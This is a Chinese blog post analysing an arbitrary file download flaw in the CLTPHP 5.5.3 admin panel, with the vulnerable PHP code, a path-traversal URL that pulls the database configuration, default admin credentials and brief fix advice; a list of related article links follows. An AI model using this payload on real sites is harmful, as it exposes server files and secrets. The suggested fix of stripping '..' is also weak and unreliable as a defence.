0x00 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

0x01 代码分析

1、/app/admin/controller/Database.php  第203-219行:

  1. public function downFile() {
  2. $file = $this->request->param('file');
  3. $type = $this->request->param('type');
  4. if (empty($file) || empty($type) || !in_array($type, array("zip", "sql"))) {
  5. $this->error("下载地址不存在");
  6. }
  7. $path = array("zip" => $this->datadir."zipdata/", "sql" => $this->datadir);
  8. $filePath = $path[$type] . $file;
  9. if (!file_exists($filePath)) {
  10. 10.         $this->error("该文件不存在,可能是被删除");
  11. 11.     }
  12. 12.     $filename = basename($filePath);
  13. 13.     header("Content-type: application/octet-stream");
  14. 14.     header('Content-Disposition: attachment; filename="' . $filename . '"');
  15. 15.     header("Content-Length: " . filesize($filePath));
  16. 16.     readfile($filePath);

17. }

在这段函数中,参数file未经任何处理,直接进行参数拼接,然后下载,导致程序在实现上存在任意文件下载漏洞,可以构造参数下载服务器任意文件,如脚本代码,服务及系统配置文件等;可用得到的代码进一步代码审计,得到更多可利用漏洞。

0x02 漏洞利用

1、登录网站后台,构造url参数下载网站配置文件:

http://127.0.0.1/admin/Database/downFile.html?type=sql&file=..\\..\\app\\database.php

2、成功下载数据库配置文件,获取敏感信息内容

0x03 修复建议

1、在下载前对传入的参数进行过滤,直接将..替换成空,就可以简单实现防范的目的

2、最好还是可以对待下载文件类型进行二次检查,判断是否允许下载类型。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析相关推荐

  1. 【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  2. (原创)浅谈任意文件下载漏洞的利用

    文章写的一般,如果有错误的地方,请指教~ 0x01 任意文件下载常见利用方式 0x02 信息收集部分 0x03 代码审计部分 0x04 总结 0x01 前言 在web语言中,php和java常常会产生 ...

  3. 任意文件下载漏洞知识点

    文章目录 资料下载 任意文件下载 漏洞描述 利用条件 漏洞危害 漏洞发现 链接上 参数上 案例 漏洞利用 利用原理 windows路径 linux路径 修复建议 摘抄 资料下载 点击 下载 https ...

  4. 目录遍历漏洞和任意文件下载漏洞

    目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件.配置文件等,攻击者利用该信息可以为进一步入侵网站做准备 ...

  5. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(十四)-任意文件下载漏洞(2)

    目录 前言: 3.编写"任意文件下载漏洞"后台 4.编写"任意文件下载漏洞"前台 5.运行测试 前言: 前面的博客记录学习任意文件下载漏洞相关知识,并思考如何构 ...

  6. 致远OA任意文件下载漏洞(CNVD-2020-62422)

    文章目录 漏洞描述 影响版本 payload poc 漏洞复现 修复补丁 漏洞描述 致远OA存在任意文件下载漏洞,攻击者可利用该漏洞下载任意文件,获取敏感信息 影响版本 致远OA A6-V5 致远OA ...

  7. AVCON6 系统管理平台 download.action 任意文件下载漏洞

    漏洞描述: 华平信息技术股份有限公司是一家视讯产品与应用提供商,掌握视频处理.视音频编解码和网络适应性等.AVCON6 系统管理平台 download.action 存在任意文件下载漏洞,攻击者通过漏 ...

  8. 金蝶协同办公平台任意文件下载漏洞(无需登录)

    经测试发现,该系统存在任意文件下载,且无需登录 存在漏洞的文件: /oa/admin/application/file_download.jsp?filePath=http://x.x.x.x:789 ...

  9. 大华城市安防监控系统平台管理存在任意文件下载漏洞

    大华城市安防监控系统平台管理存在任意文件下载漏洞 1.大华城市安防监控系统平台管理存在任意文件下载漏洞 1.1.漏洞描述 1.2.漏洞影响 1.3.FOFA 2.漏洞复现 2.1.登录页面 2.2.抓 ...

最新文章

  1. 手机mvno怎么设置_微信透明背景壁纸怎么弄 手机设置方法教程分享
  2. Socket 进行发送
  3. export_symbol的使用
  4. TensorRT学习笔记5 - 运行fc_plugin_caffe_mnist
  5. 比萨问题–建造者与装饰者
  6. cad万能字体_CAD图纸问号“?”的处理
  7. oracle into bl,5_Oracle_Admin_Oracle的启动模式和关闭
  8. 经验 | 深度学习中从基础综述、论文笔记到工程经验、训练技巧
  9. C++编程题积累——for循环判断条件陷阱
  10. 滴滴派发15亿出行消费券 覆盖快车、优享等多产品
  11. Python 操作 PDF 的几种方法
  12. java如何多表断网,java Web如何离线使用并进行数据同步
  13. c语言中十进制与十六进制转换_二进制、八进制、十进制、十六进制数据转换...
  14. socket连接测试工具,window和linux下
  15. MATLAB神经网络应用之Elman神经网络
  16. SQLServer数据库日志处理
  17. java 字符替换_java string中的替换字符串
  18. Git版本管理工具使用知识汇总
  19. Python+Vue计算机毕业设计个人学习博客系统wyz5v(源码+程序+LW+部署)
  20. 剪枝计算机,α-β剪枝 - 电脑黑白棋 - 黑白棋天地

热门文章

  1. Archlinux安装xfce4桌面及美化流程
  2. RocketMQ源码(十六)之文件清理
  3. 华为mate20pro计算机自动旋转,华为mate20pro特殊功能有哪些
  4. NBA最强的状元:詹姆斯上榜,他保持了20年的稳定
  5. 06.前端之BootStrap
  6. php date 判断是中午,获取系统时间,判断是时间段(早上,上午,中午,下午,晚上)...
  7. python散点图与条形图,【Python|matplotlib】简单作图:散点图,条形图,频数分布直方图...
  8. JSP入门及JSP三种脚本
  9. linux centos创建可访问指定目录的子账号
  10. 简历这么写HR10秒看上你